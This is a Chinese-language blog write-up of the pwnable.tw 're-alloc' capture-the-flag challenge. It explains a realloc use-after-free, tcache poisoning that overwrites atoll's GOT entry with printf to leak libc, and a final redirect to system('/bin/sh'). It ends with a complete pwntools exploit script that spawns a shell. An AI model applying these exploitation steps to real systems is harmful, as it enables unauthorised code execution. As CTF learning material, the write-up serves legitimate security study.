pwnable-realloc

新年快乐!祝大家和小然虎虎生威,虎年大吉
也不知道能记录多少pwnable.tw的做题记录,这是本博客的第一篇,那就新的一年希望自己坚持下去!

realloc

checksec

1
2
3
4
5
6
7
8
9
➜  pwnable checksec ./re-alloc
[*]
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'..'
FORTIFY: Enabled

可以看到对got表没有保护,也没有PIE。

分析程序执行流

菜单题,增,删和realloc三种功能。其中漏洞比较明显的是在realloc中。以下记录一下这位师傅wp中总结的关于realloc的内容。(我在一个地方卡住了,看的这位师傅的博客)。

1
2
3
4
5
6
realloc(ptr,size)
1.ptr == 0 : malloc(size)
2.ptr != 0 && size == 0 : free(ptr)
3.ptr != 0 && size == old_size : edit(ptr)
3.ptr != 0 && size < old_size : edit(ptr) and free(remainder)
4.ptr != 0 && size > old_size : malloc(size);strcpy(new_ptr,ptr);free(ptr);return new_ptr

以下是漏洞点。其实realloc还给了我们edit功能。

image-20220201195831772

就是简单的UAF?我一开始也这么觉得,然后开始做了,发现实际上有大坑。这道题让管理的总堆块数目只有两个,而且限制堆块大小小于unsortedbin,避免了直接泄露libc。因此tcache攻击之类的很难用。然后我就卡在这里了,因为没法泄露地址。

利用方法

这题用到一个很巧妙的方法。注意read_long中的atoll函数

1
2
3
4
5
6
7
8
9
__int64 read_long()
{
char nptr[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
__read_chk(0LL, nptr, 16LL, 17LL);
return atoll(nptr); // <====注意这里
}

这里atoll是一个库函数,其got表可以被劫持。这里巧妙的思路就是atoll劫持为printf,利用printf的格式化输出功能打印栈上数据泄露libc。实在是没想到过这样利用。

需要注意的是,劫持之后一般的功能也不能直接用了,因为atoll被改掉了,但是可以利用printf返回值(可以用格式化输出%nc来控制返回值)继续执行程序。

此外最困难的就是堆风水了。只有两个指针,真的很难堆:( 最终再把atoll改成system,发一个/bin/sh就行了。因此最难的部分其实是想到如何泄露libc,以及泄露之前的堆风水,控got表的过程。

exp

不得不说,pwnable的服务器是真的慢,到现在也没发完payload。不发了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from pwn import *
filename="./re-alloc"
libc_name="libc.so"
io = process(filename)
# io = remote('chall.pwnable.tw', 10106)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']


def alloc(index,size,data):
io.recvuntil('choice: ')
io.sendline(str(1))
io.recvuntil('Index:')
io.sendline(str(index))
io.recvuntil('Size:')
io.sendline(str(size))
io.recvuntil('Data:')
if(len(data) == size):
io.send(data)
else:
io.sendline(data)

def realloc(index,size,data):
io.recvuntil('choice: ')
io.sendline(str(2))
io.recvuntil('Index:')
io.sendline(str(index))
io.recvuntil('Size:')
io.sendline(str(size))
if(size!=0):
io.recvuntil('Data:')
if(len(data) == size):
io.send(data)
else:
io.sendline(data)
else:
io.recvline()

def free(index):
io.recvuntil('choice: ')
io.sendline(str(3))
io.recvuntil('Index:')
io.sendline(str(index))


def debug():
cmd = ""
cmd+="b* 0x401707\n" # break at call to menu
cmd+="b *0x40129D\n" # break at call to atoll in realloc
cmd+="b *0x401603\n" # break at atoll in free
gdb.attach(io,cmd)

stdout = 0x404080
alloc(0,0x18,p64(0xdeadbeef))


realloc(0,0x0,"") # equals to free trigger UAF
realloc(0,0x18,p64(elf.got['atoll']) + p64(0)) # clear tcache.keys


alloc(1,0x18,"aa") # unuseable one, now ptr1 and ptr2 are same
free(1) # now 1 is empty

realloc(0,0x18,p64(elf.got['atoll'])) # 0x50 [ 1]: 0xec1260 —▸ 0x404048 (atoll@got.plt) ◂— ...
alloc(1,0x18,"bbb") # 0x50 [ 0]: 0x404048 (atoll@got.plt) ◂— ... now ptr1 and ptr2 are same

realloc(0,0x28,"bbb") # realloc so they will be put into different bins
free(0)

realloc(1,0x28,p64(elf.got['atoll']))
alloc(0,0x28,"ccc")
# debug()
realloc(0,0x38,"ddd")
free(0)
realloc(1,0x48,"eee")
free(1)
# debug()
"""
now heap looks like
0x20 [ 0]: 0x404048 (atoll@got.plt) ◂— ...
0x30 [ 0]: 0x404048 (atoll@got.plt) ◂— ...
0x40 [ 1]: 0xb9e260 ◂— 0x0
0x50 [ 1]: 0xb9e260 ◂— 0x0
and both heap pointers are free
"""
alloc(0,0x18,p64(elf.plt['printf']))
# debug()
io.recvuntil('choice: ')
io.sendline(str(1))
io.recvuntil('Index:')
io.sendline(str("%p.%p.%p.%p")) # leak
io.recvuntil('0x10.')
libc_base = int(io.recvuntil(".",drop=True),16) - 0x0768b2 - 0xb7757
success("libc_base: " + hex(libc_base))
# debug()
# get libc_base, use another GOT to write system("/bin/sh")
# alloc(0,0x28)
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search(b"/bin/sh\x00").__next__()
# debug()
# alloc("%1c","%28c",p64(system))

io.recvuntil('choice: ')
io.sendline("1")
io.recvuntil('Index:')
io.send("%1c")
io.recvuntil('Size:')
io.send("%28c")
io.recvuntil('Data:')
io.sendline(p64(system))
# debug()

# trigger system("/bin/sh")
# free one
io.recvuntil('choice: ')
io.sendline(str(3))
io.recvuntil('Index:')
io.send("/bin/sh\x00")





io.interactive()

image-20220201202142038

本地出了就是出了(doge)————nich0las

参考

https://n0va-scy.github.io/2019/07/03/pwnable.tw/

https://www.taintedbits.com/2020/07/05/binary-exploitation-pwnable-tw-realloc/

文章目录
  1. 1. realloc
    1. 1.1. checksec
    2. 1.2. 分析程序执行流
    3. 1.3. 利用方法
    4. 1.4. exp
    5. 1.5. 参考
|